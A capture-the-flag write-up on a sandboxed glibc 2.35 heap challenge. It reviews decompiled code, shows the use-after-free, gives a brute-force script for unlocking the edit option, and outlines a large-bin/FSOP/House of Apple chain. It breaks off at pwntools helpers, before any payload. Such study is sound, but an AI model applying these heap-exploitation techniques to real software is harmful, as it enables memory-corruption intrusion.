TL;DR

This is a classic challenge for Heap Exploitation, abusing UAF > Large bin Attack > FSOP > ORW, leveraging House of Apple to exploit the I/O operation in GLIBC 2.35.

Binary of this challenge can be downloaded from Github.

Impression

Full protection in a sandbox so that we cannot get shell using execve:

A program for us to travel through 5 listed cities with 5 options: add, delete, show, edit, distance:

Option 1: We can add a route, with parameters of selecting transportation, departure city, arrival city, how far. If we provide a huge number to how far, it will fail to proceed:

If we provide a reasonable number, we will have an extra param note to enter:

Option 2: We can delete a route. Only succeed when route added before:

Option 3: Show route details, only for added routes:

Option 4: Cannot directly access the edit option and program exits:

Option 5: For the calculate option, it shows "9999km" from any cities to "Guangzhou" when we don't have a route:

If we add a route and provide different parameters, weird things happen:

Code Review

Sandbox

The binary sets up a Seccomp sandbox, a security mechanism that restricts the system calls a process can make, thus limiting its actions to prevent certain types of exploitation. We can refer to the source code to understand the following seccomp_rule_add function here.

__int64 sandbox()
{
  __int64 ctx; // [rsp+8h] [rbp-8h]

  ctx = seccomp_init(2147418112LL);
  seccomp_rule_add(ctx, 0LL, 59LL, 0LL);	// for execve
  seccomp_rule_add(ctx, 0LL, 322LL, 0LL);	// for openat2
  return seccomp_load(ctx);
}
  1. ctx = seccomp_init(2147418112LL);
    • This initializes a seccomp filter. The value 2147418112LL is the filter flag for ctx.
    • In this case, the flag 2147418112LL corresponds to SECCOMP_RET_ALLOW, which generally allows system calls unless explicitly restricted by rules added later.
  2. secomp_rule_add(scmp_filter_ctx ctx, uint32_t action, int syscall, unsigned int arg_cnt, ...);:
    • This function adds a rule to the seccomp filter (ctx), specifying which system calls should be allowed or denied.
    • 2nd parameter is for action: while 0x7fff0000 for SECCOMP_RET_ALLOW, and 0x00000000 for SECCOMP_RET_KILL* in the following case.
  3. seccomp_rule_add(v1, 0LL, 59LL, 0LL);
    • 59LL is the system call number for execve, which is commonly used to execute a new program.
    • Here, 0LL means deny (kill the process), not allow.
  4. seccomp_rule_add(v1, 0LL, 322LL, 0LL);
    • This adds another rule to allow another system call.
    • 322LL corresponds to the system call openat2, used for opening files with advanced security checks.
    • Again, 0LL indicates that this system call is not allowed.
  5. return seccomp_load(v1);
    • After defining these rules, seccomp_load(ctx) loads the filter and applies the sandbox in another init function, restricting the program to deny system calls (execve and openat2).

Therefore, we need to perform ORW attack along with _mprotect gadget in Glibc to set an executable memory area for shellcodes.

Read_str

unsigned __int64 __fastcall read_str(__int64 a1, int a2)
{
  char buf; // Temporary buffer for a single character
  int i;    // Loop index
  unsigned __int64 v5;  // Stack canary for protection against buffer overflows

  v5 = __readfsqword(0x28u);  // Read the stack canary value

  // Start a loop to read input, stopping when i reaches a2-1 or newline
  for ( i = 0; i < a2 - 1; ++i )
  {
    read(0, &buf, 1uLL);      // Read a single byte from standard input (fd 0) into buf
    if ( buf == 10 )          // If the byte is a newline character ('\n'), break the loop
      break;
    *(_BYTE *)(a1 + i) = buf; // Store the read byte at the position a1 + i
  }
  *(_BYTE *)(i + a1) = 0;     // Null-terminate the string
  return v5 - __readfsqword(0x28u); // Check if the stack canary was tampered with
}
  • a1: This is the destination address where the input string will be stored.
  • a2: This represents the maximum length of the input string, including the null terminator.

Read_num

__int64 read_num()
{
  unsigned int v1; // Temporary storage for the input number
  unsigned __int64 v2; // Stack canary for buffer overflow protection

  v2 = __readfsqword(0x28u);  // Read the stack canary value to protect against overflows
  __isoc99_scanf("%d", &v1);  // Use scanf to read an integer input from the user
  return v1;  // Return the input number
}

Since this function is reading a simple integer directly into a 4-byte unsigned int, there’s no direct risk of a buffer overflow within this function.

Get_city_name

__int64 get_city_name()
{
  int i;                    // Loop index
  char s2[24];               // Buffer to store the input city name
  unsigned __int64 v3;       // Stack canary for stack protection

  v3 = __readfsqword(0x28u); // Reading the stack canary to prevent stack overflow attacks
  puts("Please input the city name");
  read_str(s2, 16LL);        // Reads a city name into `s2` with a limit of 15 characters + null terminator
  for ( i = 0; ; ++i )       // Loop to compare the input with predefined cities
  {
    if ( i > 4 )             // If the loop goes beyond 4, it exits with code 3 (there are only 5 cities)
      exit(3);
    if ( !strcmp(&cities[16 * i], s2) )  // Compares input string `s2` to predefined city name
      break;                             // If a match is found, exit the loop
  }
  return (unsigned int)i;    // Return the index of the matching city
}
  1. User Input (read_str(s2, 16LL);):
    • The function prompts the user to input a city name.
    • The function reads the input using read_str() with a size of 16 bytes. This means the input is limited to 15 characters plus a null terminator, preventing buffer overflow within this buffer.
  2. Buffer Size and strcmp() Comparison:
    • The buffer s2 is 24 bytes in size, but read_str() only allows 16 bytes of input, so the extra space is unused. This prevents a buffer overflow in s2.
    • Each city name in the cities array is assumed to be stored in 16-byte chunks (i.e., 16 * i for each index i), suggesting that each city name can be up to 15 characters long (plus the null terminator).

Main

int __fastcall main(int argc, const char **argv, const char **envp)
{
  init(argc, argv, envp);
  welcome();
  while ( 1 )
  {
    menu();
    switch ( (unsigned int)read_num() )
    {
      case 1u:
        add();
        break;
      case 2u:
        delete();
        break;
      case 3u:
        show();
        break;
      case 4u:
        edit();
        break;
      case 5u:
        Dijkstra();
        break;
      default:
        puts("Wrong!");
        exit(1);
    }
  }
}

Nothing special, except the default option that outputs "Wrong!" and exits the program for invalid choice. The exit from main is an essential requirement to perform the House of Apple attack in FSOP.

Add

For the 1st option in the menu "Add route":

unsigned __int64 add()
{
  int trans; // [rsp+8h] [rbp-28h]				// Stores transportation type (1 = car, 2 = train, 3 = plane)
  int i; // [rsp+Ch] [rbp-24h]
  _DWORD *chunk_entry; // [rsp+10h] [rbp-20h]	// Pointer to dynamically allocated memory for the route
  char s2[10]; // [rsp+1Eh] [rbp-12h] BYREF		// Buffer for the transportation type input
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]	// Canary

  v5 = __readfsqword(0x28u);
  
  // Loop to find the first available slot in the routes array
  for ( i = 0; routes[i]; ++i )
    ;
    
  // Get transportation type
  puts("What kind of transportation do you want? car/train/plane?");
  read_str((__int64)s2, 16);
  
  // Determine the transportation type and store it in "trans"
  if ( !strcmp("car", s2) )
  {
    trans = 1;
  }
  else if ( !strcmp("train", s2) )
  {
    trans = 2;
  }
  else
  {
    if ( strcmp("plane", s2) )
      exit(2);
    trans = 3;
  }
  
  // Dynamically allocate memory based on the transportation type
  chunk_entry = malloc(16 * (trans + 80));
  chunk_entry[3] = trans;	// Store the transportation type in the 4th element
  
  // Get departure and destination cities
  puts("From where?");
  *chunk_entry = get_city_name();	// Store departure city index in the 1st element
  puts("To where?");
  chunk_entry[1] = get_city_name();	// Store destination city index in the 2n element
  puts("How far?");
  chunk_entry[2] = read_num();	// Store the distance in the 3rd element
  
  // Get the distance from the user
  if ( (int)chunk_entry[2] > 1000 || (int)chunk_entry[2] <= 0 )	// Distance must be between 1 and 1000
  {
    puts("That's too far!");
    exit(1);
  }
  puts("Note:");
  read(0, chunk_entry + 4, (unsigned int)(16 * (trans + 79)));	// Reads the note into the allocated memory
  
  // Store the newly created route in the routes array
  routes[i] = chunk_entry;
  return v5 - __readfsqword(0x28u);
}
  1. Transportation Type Handling:
    • The program prompts the user to input the type of transportation:
      • 1 for car,
      • 2 for train,
      • 3 for plane.
  2. Memory Allocation for the Route:
    • The chunk is allocated dynamically using malloc(). The size of the allocation depends on the transportation type:
      • The size is calculated as 16 * (trans + 80) where trans is the transportation type (1, 2, or 3).
      • For car: 16 * (1 + 80) = 1296 bytes
      • For train: 16 * (2 + 80) = 1312 bytes
      • For plane: 16 * (3 + 80) = 1328 bytes
  3. Route Information:
    • The route's details are stored in the allocated chunk:
      • The 1stelement (chunk_entry[0]) holds the departure city.
      • The 2nd element (chunk_entry[1]) holds the arrival city.
      • The 3rd element (chunk_entry[2]) holds the distance.
      • The 4th element (chunk_entry[3]) holds the transportation type.
  4. Distance Validation:
    • The distance must be a positive integer between 1 and 1000. If the distance is greater than 1000 or less than or equal to 0, the program exits with error code 1.
  5. Note Handling:
    • The program allows the user to enter a "Note" after providing the route details. The note is stored in the memory starting from the 5th element (chunk_entry + 4).
    • The size of the note is based on the transportation type: 16 * (tran + 79) bytes.
    • It uses the read function which is not safe, compared to fread.
  6. Route Storage:
    • Once all details are entered, the route (allocated chunk entry pointer) is stored in the routes[] array at the 1st available slot/index (found by the loop at the beginning).

For the note field, it uses read function to read in our input buffer, rather than fread or the custom function read_str which both add a null terminator at the end to the string automatically. Without the null terminator, this could cause out-of-bound read in certain condition.

Delete

For the 2nd option in the menu "Delete route":

int delete()
{
  __int64 v0;               // Temporary variable to hold route pointers and values
  int i;                   
  int dep;            // Holds the departure city name index
  int arr;                   // Holds the destination city name index

  puts("From where?");
  dep = get_city_name();   // Get the index of the departure city from the user

  puts("To where?");
  LODWORD(v0) = get_city_name(); // Get the index of the destination city
  arr = v0;                       // Store the destination city index in arr

  // Loop through all routes (up to 20)
  for ( i = 0; i != 20; ++i )
  {
    v0 = routes[i];             // Get the pointer to the current route in the array
    if ( v0 )                   // Check if the route exists (not null)
    {
      // Check if the route matches the input cities
      if ( dep == *(_DWORD *)routes[i] && arr == *(_DWORD *)(routes[i] + 4LL)
        || (LODWORD(v0) = *(_DWORD *)routes[i], arr == (_DWORD)v0)
        && (LODWORD(v0) = *(_DWORD *)(routes[i] + 4LL), dep == (_DWORD)v0) )
      {
        *(_DWORD *)routes[i] = 0;               // Clear the departure city in the route
        *(_DWORD *)(routes[i] + 4LL) = 0;       // Clear the destination city in the route
        free((void *)routes[i]);                // Free the allocated chunk for the route
        LODWORD(v0) = puts("Successfully delete!");  // Notify the user of the deletion
      }
    }
  }
  return v0;  // Return the last value of v0 (result of the puts function)
}
  1. City Matching Logic:
    • The function prompts the user for a departure city and an arrival city using the get_city_name() function.
    • It then loops through the routes[] array (up to 20 routes) and checks if the stored route matches the user input. Check in both ways:
      • If the departure city matches dep and the destination city matches arr.
      • Or, if the destination city matches dep and the departure city matches arr (reverse route).
    • If a match is found, it clears the route's memory and frees the memory associated with that route.
  2. Memory Freeing:
    • free((void *)routes[i]);
    • When a route is deleted, the function frees the memory that was allocated when the route was added using the add() function.
    • It also clears the route's data (setting both the departure and destination cities to 0) before freeing the memory.
  3. Looping Through Routes:
    • The function loops through the routes[] array to find a match for the cities provided by the user. It goes through all 20 possible route entries, checking each one for a match.
  4. Return Value:
    • The function returns the result of the last puts() call, which is always the message "Successfully delete!" if a match is found and a route is deleted.

The function only clears the first 8 bytes of the routes[i] (departure and arrival city). It leaves the rest of the memory intact, including any sensitive data in the route (such as the distance or the note). Besides, the chunk pointer is not zero out after deleting. This could lead to use-after-free (UAF).

Show

For the 3rd option in the menu "Show route":

int show()
{
  __int64 v0; // rax
  int i; // [rsp+4h] [rbp-Ch]
  int dep; // [rsp+8h] [rbp-8h]
  int arr; // [rsp+Ch] [rbp-4h]
	
	// Same logic as delete
  puts("From where?");
  dep = get_city_name();
  puts("To where?");
  LODWORD(v0) = get_city_name();
  arr = v0;
  for ( i = 0; i != 20; ++i )
  {
    v0 = routes[i];
    if ( v0 )
    {
      if ( dep == *(_DWORD *)routes[i] && arr == *(_DWORD *)(routes[i] + 4LL)
        || (LODWORD(v0) = *(_DWORD *)routes[i], arr == (_DWORD)v0)
        && (LODWORD(v0) = *(_DWORD *)(routes[i] + 4LL), dep == (_DWORD)v0) )
      {
      	// If the route matches, display the "distance" and the "note"
        printf("Distance:%d\n", *(unsigned int *)(routes[i] + 8LL));	// Display distance (stored at offset +8)
        LODWORD(v0) = printf("Note:%s\n", (const char *)(routes[i] + 16LL));	// Display note (stored at offset +16)
      }
    }
  }
  return v0;
}

Displaying the Route Information:

  • If a matching route is found, the function prints:
    • The distance of the route, which is stored at the offset +8 in the allocated chunk (routes[i] + 8LL).
    • The note, which is stored at the offset +16 in the allocated chunk (routes[i] + 16LL).
  • The note is printed as a string (printf("Note: %s\n")).

The note stored at routes[i] + 16LL is printed using %s. If the note is not properly null-terminated, this could result in a buffer over-read, where the program prints memory beyond the note's allocated space until it hits a null byte.

Edit

For the 4rd option in the menu "Edit route":

unsigned __int64 edit()
{
  int good_route; // [rsp+0h] [rbp-80h]			// Counter for matching routes
  int i; // [rsp+4h] [rbp-7Ch]
  int j; // [rsp+8h] [rbp-78h]
  int dep; // [rsp+Ch] [rbp-74h]
  int arr; // [rsp+10h] [rbp-70h]
  int num; // [rsp+14h] [rbp-6Ch]
  _DWORD *route_data_ptr; // [rsp+18h] [rbp-68h]	// Pointer to the route data
  int good_routes[22]; // [rsp+20h] [rbp-60h]	 // Array to hold matching route indices
  unsigned __int64 v9; // [rsp+78h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  good_route = 0;
  
  // Check if the user is allowed to edit (based on flags)
  if ( !edit_flag1 )
  {
    puts("You've already edited it!");
    exit(1);
  }
  if ( !edit_flag2 )
  {
    puts("You don't need to edit anymore.");
    exit(1);
  }
  
  // Get the departure city and destination city 
  puts("From where?");
  dep = get_city_name();
  puts("To where?");
  arr = get_city_name();
  
  // Loop through all routes (up to 20) to find matching routes
  for ( i = 0; i != 20; ++i )
  {
    if ( routes[i]
      && (dep == *(_DWORD *)routes[i] && arr == *(_DWORD *)(routes[i] + 4LL)
       || arr == *(_DWORD *)routes[i] && dep == *(_DWORD *)(routes[i] + 4LL)) )
    {
      good_routes[good_route++] = i;
    }
  }
  
  // If at least one matching route is found
  if ( good_route )
  {
    puts("----------------");
    for ( j = 0; j < good_route; ++j )
      printf("[+] Route%d: %d\n", (unsigned int)j, (unsigned int)good_routes[j]);
    puts("----------------");
    
    // Choose route to edit
    puts("Which one do you want to change?");
    num = read_num();		// Get the route number to edit
    
    // Validate the route number
    if ( num < 0 || num > good_route )
      exit(1);
      
    // Edit the route's distance
    puts("How far?");
    route_data_ptr = (_DWORD *)routes[good_routes[num]];
    route_data_ptr[2] = read_num();
    
    // Edit the route's note
    puts("Note:");
    read(0, route_data_ptr + 4, (unsigned int)(16 * (route_data_ptr[3] + 79)));		// Update the note based on transportation type
  }
  
  // Set the edit flags to indicate that editing has been done
  edit_flag1 = 0;
  
  return v9 - __readfsqword(0x28u);
}
  1. Edit Flags (edit_flag1, edit_flag2):
    • edit_flag1 and edit_flag2 act as controls to limit how many times the user can edit a route:
      • If edit_flag1is 0, the function exits, indicating that the user has already edited.
      • If edit_flag2 is 0, the function also exits, indicating no further edits are needed.
      • After the user successfully edits a route, edit_flag1 is set to 0 to prevent further edits.
  2. City Matching Logic:
    • The function prompts the user for a departure city and an arrival city.
    • It then loops through the routes[] array (up to 20 routes) and checks for routes that match the input cities (both in forward and reverse order).
    • Matching routes are stored in the good_routes[] array, which holds the indices of the matching routes.
  3. Route Selection:
    • If at least one matching route is found, the function displays all the matches and asks user which one they want to edit.
    • The user is prompted to input the number of the route they wish to edit, and the program validates this input.
  4. Editing the Route:
    • The user can edit two pieces of information:
      • Distance: The distance is updated using the user-provided value.
      • Note: The note is updated by reading user input directly into the route's chunk.
    The size for the note input is calculated as 16 * (route_data_ptr[3] + 79) where route_data_ptr[3] is the transportation type (car, train, or plane).

There's a bug here — it returns the specific route by checking the dep & arr field for those route_data_ptr's. But the pointers of the deleted routes are NOT removed. So there's an UAF here we can choose the deleted route to overwrite metadata on target overlapped.

MinDistance

A function to calculate minimum distance implemented in the next Dijkstra function:

__int64 __fastcall minDistance(__int64 r1, __int64 r2)
{
  int min; 					// Holds the minimum distance
  unsigned int min_ct; 		// Holds the index of the city with the minimum distance
  int i; 

  min = 9999;				 // Initialize the minimum distance to a large value (9999)
  
  // Loop through 5 elements 
  for ( i = 0; i <= 4; ++i )
  {
  	// Calculation
    if ( !*(_DWORD *)(4LL * i + r2) && min >= *(_DWORD *)(4LL * i + r1) )
    {
      // Update the minimum distance to the current value in r1
      min = *(_DWORD *)(4LL * i + r1);
      // Store the index (i) as the index with the minimum distance
      min_ct = i;
    }
  }
  return min_ct;
}
  1. Input Parameters (r1 and r2):
    • The function takes two pointers to two regions of memory that each hold 5 elements.
  2. Logic:
    • The function starts by initializing min to a large value (9999), which will be used to track the minimum distance.
    • It then loops through the 5 elements in the memory regions pointed to by r1 and r2.
    • For each iteration, it checks two conditions:
      • The value at r2[i] must be 0 (check starting city).
      • The value at r1[i] must be less than or equal to min.
    • If both conditions are met, it updates min to the value of r1[i] and records i (the index of the element) in min_ct.

Dijkstra

For the 5rd option in the menu "Calculate the distance":

unsigned __int64 Dijkstra()
{
  int i; 
  int j; 
  int k; 
  int m; 
  int destination;
  int v6; 
  int v7; 
  int v8; 
  int min_distances[8]; 	// Array to store the shortest distances from the starting city
  int visted_cities[8]; 	// Array to track which cities have been visited
  int instance_matrix[26];  // Matrix to store distances between cities
  unsigned __int64 v12; 

  v12 = __readfsqword(0x28u);
  
   // Initialize distance_matrix with 9999 (representing infinite distance)
  instance_matrix[0] = 0;
  instance_matrix[1] = 9999;
  instance_matrix[2] = 9999;
  instance_matrix[3] = 9999;
  instance_matrix[4] = 9999;
  instance_matrix[5] = 9999;
  instance_matrix[6] = 0;
  instance_matrix[7] = 9999;
  instance_matrix[8] = 9999;
  instance_matrix[9] = 9999;
  instance_matrix[10] = 9999;
  instance_matrix[11] = 9999;
  instance_matrix[12] = 0;
  instance_matrix[13] = 9999;
  instance_matrix[14] = 9999;
  instance_matrix[15] = 9999;
  instance_matrix[16] = 9999;
  instance_matrix[17] = 9999;
  instance_matrix[18] = 0;
  instance_matrix[19] = 9999;
  instance_matrix[20] = 9999;
  instance_matrix[21] = 9999;
  instance_matrix[22] = 9999;
  instance_matrix[23] = 9999;
  instance_matrix[24] = 0;
  
  // Loop through the routes array to update the distance matrix 
  for ( i = 0; i != 20; ++i )
  {
    if ( routes[i] )
    {
      v7 = *(_DWORD *)routes[i];			// Get departure city index
      v8 = *(_DWORD *)(routes[i] + 4LL);	// Get destination city index
      if ( *(_DWORD *)(routes[i] + 8LL) < instance_matrix[5 * v7 + v8] )	// If current distance is smaller
      {
        instance_matrix[5 * v7 + v8] = *(_DWORD *)(routes[i] + 8LL);	// Update distance matrix
        instance_matrix[5 * v8 + v7] = *(_DWORD *)(routes[i] + 8LL);	// Ensure the matrix is symmetric
      }
    }
  }
  
  // Initialize min_distances (distance from starting city) and visited_cities
  for ( j = 0; j <= 4; ++j )
  {
    min_distances[j] = 9999;
    visted_cities[j] = 0;
  }
  min_distances[0] = 0;		// Set the starting city (Guangzhou) distance to 0
  
  // Dijkstra's algorithm to find the shortest path
  for ( k = 0; k <= 4; ++k )
  {
    v6 = minDistance((__int64)min_distances, (__int64)visted_cities);	// Get the city with the minimum distance
    visted_cities[v6] = 1;		// Flag the city as visited
    
    // Update the distance to neighboring cities
    for ( m = 0; m <= 4; ++m )
    {
      if ( !visted_cities[m]
        && instance_matrix[5 * v6 + m]
        && min_distances[v6] != 9999
        && min_distances[v6] + instance_matrix[5 * v6 + m] < min_distances[m] )
      {
        min_distances[m] = min_distances[v6] + instance_matrix[5 * v6 + m];		// Update distance if a shorter path is found
      }
    }
  }
  
  // Prompt the user for the destination city
  puts("Where do you want to travel?");
  destination = get_city_name();
  
  // Display the distance to the selected city from Guangzhou
  printf("It is %dkm away from Guangzhou.\n", (unsigned int)min_distances[destination]);
  
  // Check if the distance is too far (more than 2000km)
  if ( min_distances[destination] > 2000 && min_distances[destination] != 9999 )
  {
    puts("That's so far! Please review and rewrite it!");
    ++edit_flag2;	// Increment the edit flag
  }
  return v12 - __readfsqword(0x28u);
}
  1. Distance Matrix Initialization:
    • The array distance_matrix is initialized to represent the distances between cities. Initially, all distances are set to 9999, representing "infinity" (i.e., no direct route), except for the diagonal elements (the distance from a city to itself is 0).
    • The program uses a 5x5 matrix (or array) to store distances between cities, with the assumption that there are 5 cities.
  2. Building the Distance Matrix from Routes:
    • The program iterates through the routes[] array, where each element contains information about routes between cities. For each route:
      • dep = *(_DWORD *)routes[i]: Gets the departure city.
      • arr = *(_DWORD *)(routes[i] + 4LL): Gets the arrival city.
      • *(_DWORD *)(routes[i] + 8LL): Represents the distance between the two cities.
    • If the distance for this route is smaller than the current value in the distance matrix distance_matrix, it's updated with the new, smaller distance for both directions (since the distance matrix is symmetric).
  3. Dijkstra’s Algorithm:
    • min_distances[]: This array stores the shortest distances from the starting city (Guangzhou, v9[0] = 0).
    • visted_cities[]: This array tracks whether a city has been visited.
    • The algorithm begins by setting the distance from Guangzhou to itself as 0 and all other cities as "infinity" (9999).
    • It then repeatedly finds the city with the minimum distance that hasn’t been visited (using minDistance()), marks it as visited, and updates the distances to its neighboring cities based on the distance matrix (distance_matrix).
  4. User Input and Output:
    • After calculating the shortest paths, the program asks the user to choose a destination city (destination).
    • It prints the shortest distance from Guangzhou to the selected city using min_distances[destination].
    • If the distance is greater than 2000 km, it warns the user that the destination is too far and increments edit_flag2.

The previous function minDistance() is used in Dijkstra’s algorithm to find the city with the minimum distance that hasn’t been visited yet. This is a key part of the algorithm, as it ensures that the next city to be processed is always the one with the smallest known distance.

Heap Layout

Via the add function, we know that after creating a route, a piece of memory will be allocated to store the route data. It looks like:

  • dep & arr represent "departure" & "arrival", within an array cities = {0: b'guangzhou', 1: b'nanning', 2: b'changsha', 3: b'nanchang', 4: b'fuzhou'}.
  • trans represents transportation type we choose, within an array trans = {1: b'car', 2: b'train', 3: b'plane'}.
  • distance (far) field represents the distance we enter for two cities. It need to be smaller or equal to 2000 (0x7d0).
  • The size field and length of the note field is decided and calculated by the trans field.

According to my observation, with the sandbox function running seccomp_init@plt and other functions inside, it will malloc and free a bunch of chunks. Thus the heap and bins will look like a mess before we do anything:

So our new allocated chunk starts from offset 0x1470 over the heap base.

Dijstra Algorithm

To trigger the edit function, we need to creates routes that match the requirements. So we need to calculate distances between various nodes (or "cities") using a version of Dijkstra's algorithm, which has been explained in the article. The goal of the program is to find paths between these nodes (represented by the MYHEAP structure) and determine if any paths have a distance greater than 2000 km (0x7D0 in hexadecimal).

We can also ask AI to do the work for us nowadays. And this is a script to brute force results shared by this article:

#include<iostream>
#include<cstring>
#include<algorithm>
#include<cmath>
#include<thread>
#include<vector>
#include<Windows.h>
#include<mutex>

using namespace std;
#define _QWORD unsigned long long
#define MAX_COUNT 24999
mutex mtx;
uint64_t my_count = 0;
uint32_t Array_idx = 0;
DWORD flag[64]{ 0 };
int  main1(unsigned int a1, unsigned int flag);
int main1(unsigned int a1);
void bf();
void bf_Array();

typedef struct MyStruct
{
    int form;
    int to;
    int flag;
}MYHEAP;

__int64  minDistance(int* a1, int* a2)
{
    int v3; // [rsp+14h] [rbp-Ch]
    unsigned int v4; // [rsp+18h] [rbp-8h]
    int i; // [rsp+1Ch] [rbp-4h]

    v3 = 9999;
    for (i = 0; i <= 4; ++i)
    {
        if (!a2[i] && v3 >= a1[i])
        {
            v3 = a1[i];
            v4 = i;
        }
    }
    return v4;
}
int func(MYHEAP* heap[],int count) {
    int i; // [rsp+0h] [rbp-D0h]
    int j; // [rsp+4h] [rbp-CCh]
    int k; // [rsp+8h] [rbp-C8h]
    int m; // [rsp+Ch] [rbp-C4h]
    int city_name; // [rsp+10h] [rbp-C0h]
    int v6; // [rsp+14h] [rbp-BCh]
    int v7; // [rsp+18h] [rbp-B8h]
    int v8; // [rsp+1Ch] [rbp-B4h]
    int v9[8]; // [rsp+20h] [rbp-B0h] BYREF
    int v10[8]; // [rsp+40h] [rbp-90h] BYREF
    int v11[26]; // [rsp+60h] [rbp-70h]
    unsigned __int64 v12; // [rsp+C8h] [rbp-8h]

    v11[0] = 0;
    v11[1] = 9999;
    v11[2] = 9999;
    v11[3] = 9999;
    v11[4] = 9999;
    v11[5] = 9999;
    v11[6] = 0;
    v11[7] = 9999;
    v11[8] = 9999;
    v11[9] = 9999;
    v11[10] = 9999;
    v11[11] = 9999;
    v11[12] = 0;
    v11[13] = 9999;
    v11[14] = 9999;
    v11[15] = 9999;
    v11[16] = 9999;
    v11[17] = 9999;
    v11[18] = 0;
    v11[19] = 9999;
    v11[20] = 9999;
    v11[21] = 9999;
    v11[22] = 9999;
    v11[23] = 9999;
    v11[24] = 0;
    for (i = 0; i != count; ++i)
    {
        v7 = heap[i]->form;
        v8 = heap[i]->to;
        if (heap[i]->flag < v11[5 * v7 + v8])
        {
            v11[5 * v7 + v8] = heap[i]->flag;
            v11[5 * v8 + v7] = heap[i]->flag;
        }
    }
    for (j = 0; j <= 4; ++j)
    {
        v9[j] = 9999;
        v10[j] = 0;
    }
    v9[0] = 0;
    for (k = 0; k <= 4; ++k)
    {
        v6 = minDistance(v9, v10);
        v10[v6] = 1;
        for (m = 0; m <= 4; ++m)
        {
            if (!v10[m] && v11[5 * v6 + m] && v9[v6] != 9999 && v9[v6] + v11[5 * v6 + m] < v9[m])
                v9[m] = v9[v6] + v11[5 * v6 + m];
        }
    }
    for (m = 0; m <= 4; ++m)
    {
        //printf("%d  ", v9[m]);
        if (v9[m] > 0x7D0 && v9[m] != 9999)
        {
            for (int j = 0; j <= 4; ++j)
            {
                printf("%d  ", v9[j]);
            }
            putchar('\n');
            puts("That's so far! Please review and rewrite it!");
            for (size_t i = 0; i < count; i++)
            {
                printf("%d %d %d\n", heap[i]->form, heap[i]->to, heap[i]->flag);
            }
            return 1;
        }
    }
    return 0;
}
void init(MYHEAP* ptr[],int length) {
    for (size_t i = 0; i < length; i++)
    {
        ptr[i]= new MYHEAP;
        ptr[i]->to = ptr[i]->form = ptr[i]->flag = 0;
    }
}
void reg(MYHEAP* ptr) {
    ptr->to = ptr->form = ptr->flag = 0;
}
void set(MYHEAP* ptr,int count) {
    ptr->form = (count / (5 * 1000)) % 5;
    ptr->to = (count / 1000) % 5;
    ptr->flag = count % 1000;

}
int  change(MYHEAP* ptr) {
    int form = ptr->form;
    int to = ptr->to;
    int flag = ptr->flag;
    if (flag < 999) {
        ptr->flag++;
        return 0;
    }
    ptr->flag = 0;
    if (ptr->form < 4) {
        ptr->form++;
        return 0;
    }
    ptr->form = 0;
    if (ptr->to < 4) {
        ptr->to++;
        return 0;
    }
    return 1;
}

int main()
{

    const int Max_count = 32;
    vector<thread> mythreads;
    for (size_t i = 0; i < Max_count; i++)
    {
        mythreads.emplace_back(bf);
    }
    for (auto& i: mythreads)
    {
        i.join();
    }

    system("pause");
    return 0;
}

void bf() {
    MYHEAP* heap[3];
    int add_offset = 100;
    init(heap, 3);
    while (true)
    {
        mtx.lock();
        uint64_t local = my_count;
        my_count += add_offset;
        mtx.unlock();
        if (local >= MAX_COUNT)break;
        printf("%d\n", local);
        set(heap[0], local);
        for (uint64_t i = local; i < local + add_offset; i++)
        {
            set(heap[0], i);
            for (size_t j = 0; j < 5 * 5 * 1000; j++)
            {
                change(heap[1]);
                for (size_t k = 0; k < 5 * 5 * 1000; k++)
                {
                    //printf("k->%d\n form:%d to:%d flag:%d\n", k, heap[1]->form, heap[1]->to, heap[1]->flag);
                    change(heap[2]);
                    if (func(heap, 3)) {
                        mtx.lock();
                        my_count = MAX_COUNT;
                        mtx.unlock();
                        return;
                    }
                }
            }
            reg(heap[1]);
            reg(heap[2]);
        }
    }
}

It copies the Dijstra and miniDistance code snippets and perform the Dijkstra algorithm. And the function func(MYHEAP\* heap[], int count) implements to calculate the shortest path between nodes.

Initialization:

int v11[26]; // This array holds the distances between nodes
v11[0] = 0;  // Distance from node 0 to itself is 0
v11[1] = 9999;  // Initially, all other distances are set to a large value (9999)
v11[2] = 9999;
// ... Similar initialization for other distances

Update distance between nodes:

for (i = 0; i != count; ++i) {
    v7 = heap[i]->form;
    v8 = heap[i]->to;
    if (heap[i]->flag < v11[5 * v7 + v8]) {
        v11[5 * v7 + v8] = heap[i]->flag;
        v11[5 * v8 + v7] = heap[i]->flag;
    }
}

This loop iterates over all the routes in the heap array and updates the distances between the nodes based on the values in the flag field. The distance between two nodes is updated if the current distance is shorter than what was previously recorded.

Shortest path calculation:

v9[0] = 0; // Start at node 0
for (k = 0; k <= 4; ++k) {
    v6 = minDistance(v9, v10);  // Find the next closest node
    v10[v6] = 1;  // Mark the node as visited
    for (m = 0; m <= 4; ++m) {
        if (!v10[m] && v11[5 * v6 + m] && v9[v6] != 9999 && v9[v6] + v11[5 * v6 + m] < v9[m])
            v9[m] = v9[v6] + v11[5 * v6 + m];  // Update the shortest distance
    }
}

Compute the shortest paths using a simplified version of Dijkstra's algorithm. It updates the distance array v9 with the shortest distances from node 0 to all other nodes, similar to Dijkstra's shortest path algorithm.

Distance check:

if (v9[m] > 0x7D0 && v9[m] != 9999) {
    puts("That's so far! Please review and rewrite it!");
    return 1;
}

After computing the shortest paths, the function checks if any of the distances (v9[m]) is greater than 0x7D0 (which is 2000 in decimal). If any distance exceeds this threshold, it prints a message and returns 1, indicating that the path is too long.

Then it runs the main function to use a thread pool to simulate multiple route calculations in parallel, brute forcing results via the bf function.

Any one of the outcomes will work to unlock the edit function:

SOLUTION 1 | Svcudp

In this solution, we will leverage the gadget svcudp_reply+26 to hijack execution flow. In usual case we cannot use it in GLIB 2.35, but it does appear in this specific version Ubuntu GLIBC 2.35-0ubuntu3.8.

EXP

Provide the EXP with comments as explanation in advance:

from pwn import *


def g(gdbscript=''):
    if mode['local']:
        sysroot = None
        if libc_path != '':
            sysroot = os.path.dirname(libc_path)
        gdb.attach(p, gdbscript=gdbscript, sysroot=sysroot)
        if gdbscript == '':
            raw_input()
    
    elif mode['remote']:
        gdb.attach((remote_ip_addr, remote_port), gdbscript)
        if gdbscript == '':
            raw_input


def pa(desc, addr):
    info('@{}--->: %#x'.format(desc), addr)

 
s       = lambda data                 :p.send(data)
sa      = lambda delim,data           :p.sendafter(delim, data)
sl      = lambda data                 :p.sendline(data)
sla     = lambda delim,data           :p.sendlineafter(delim, data)
r       = lambda num=4096             :p.recv(num)
ru      = lambda delim, drop=True     :p.recvuntil(delim, drop)
l64     = lambda                      :u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
